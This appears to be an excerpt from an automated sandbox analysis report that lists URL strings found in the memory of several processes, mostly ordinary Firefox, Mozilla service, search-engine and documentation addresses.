Source: firefox.exe, 0000001F.00000002.2971568555.000001B338410000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000003.2780499937.000001B33C223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2781207897.000001B33C266000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001F.00000003.2896470004.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3101337060.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001F.00000002.3148422316.000001B344389000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.firefox.comK
Source: 384a543dd0.exe, 00000012.00000002.2800193872.0000000001560000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwdsoft.wi
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A090000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.orgnetwork.proxy.backup.socks_portbookmarksToolbarWasVisibleshowBadgeOnlyNoti
Source: firefox.exe, 0000001F.00000002.3017681976.000001B33BF2E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.orgp
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E357000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E32D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001F.00000002.2972694686.000001B3387DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C511000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE46000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.1755496926.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644729955.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.1755496926.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644729955.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C0F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2781207897.000001B33C266000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C0A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001F.00000002.3017681976.000001B33BF09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.1755496926.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644729955.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1755496926.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644729955.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001F.00000002.3053805269.000001B33D1C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001F.00000002.3155816904.000001B34456F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C511000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: e90585a72a.exe, 00000011.00000003.2665005403.000000000505B000.00000004.00001000.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2706006259.000000000067C000.00000040.00000001.01000000.00000011.sdmp String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2780499937.000001B33C223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3031423613.000001B33C5D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2781207897.000001B33C266000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001F.00000002.2971568555.000001B338410000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001F.00000002.3097336698.000001B33E9A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000003.2926225289.000001B33C1CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2925719631.000001B344649000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2919144678.000001B344623000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001F.00000003.2925566342.000001B33C111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001F.00000002.3015291311.000001B33AC40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33883C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1_showUpgradeDialog/onLocationChange/
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A0A3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A0A3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com:
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001F.00000002.3097336698.000001B33E9A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE46000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C55D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C55D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001F.00000003.2888269525.000001B344408000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3150693552.000001B344407000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001F.00000003.2888269525.000001B344408000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3150693552.000001B344407000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001F.00000002.2971568555.000001B338410000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000003.2780499937.000001B33C223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2781207897.000001B33C266000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001F.00000002.3031423613.000001B33C5E2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com/
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C511000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881C:
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001F.00000002.2962993033.000001B337EF7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FEC7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://install.mozilla.org
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://jrsoftware.org0
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001F.00000002.2983947993.000001B339474000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2904782514.000001B33D1EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3053805269.000001B33D1EA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001F.00000003.2904251821.000001B33D26D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3053805269.000001B33D1F3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
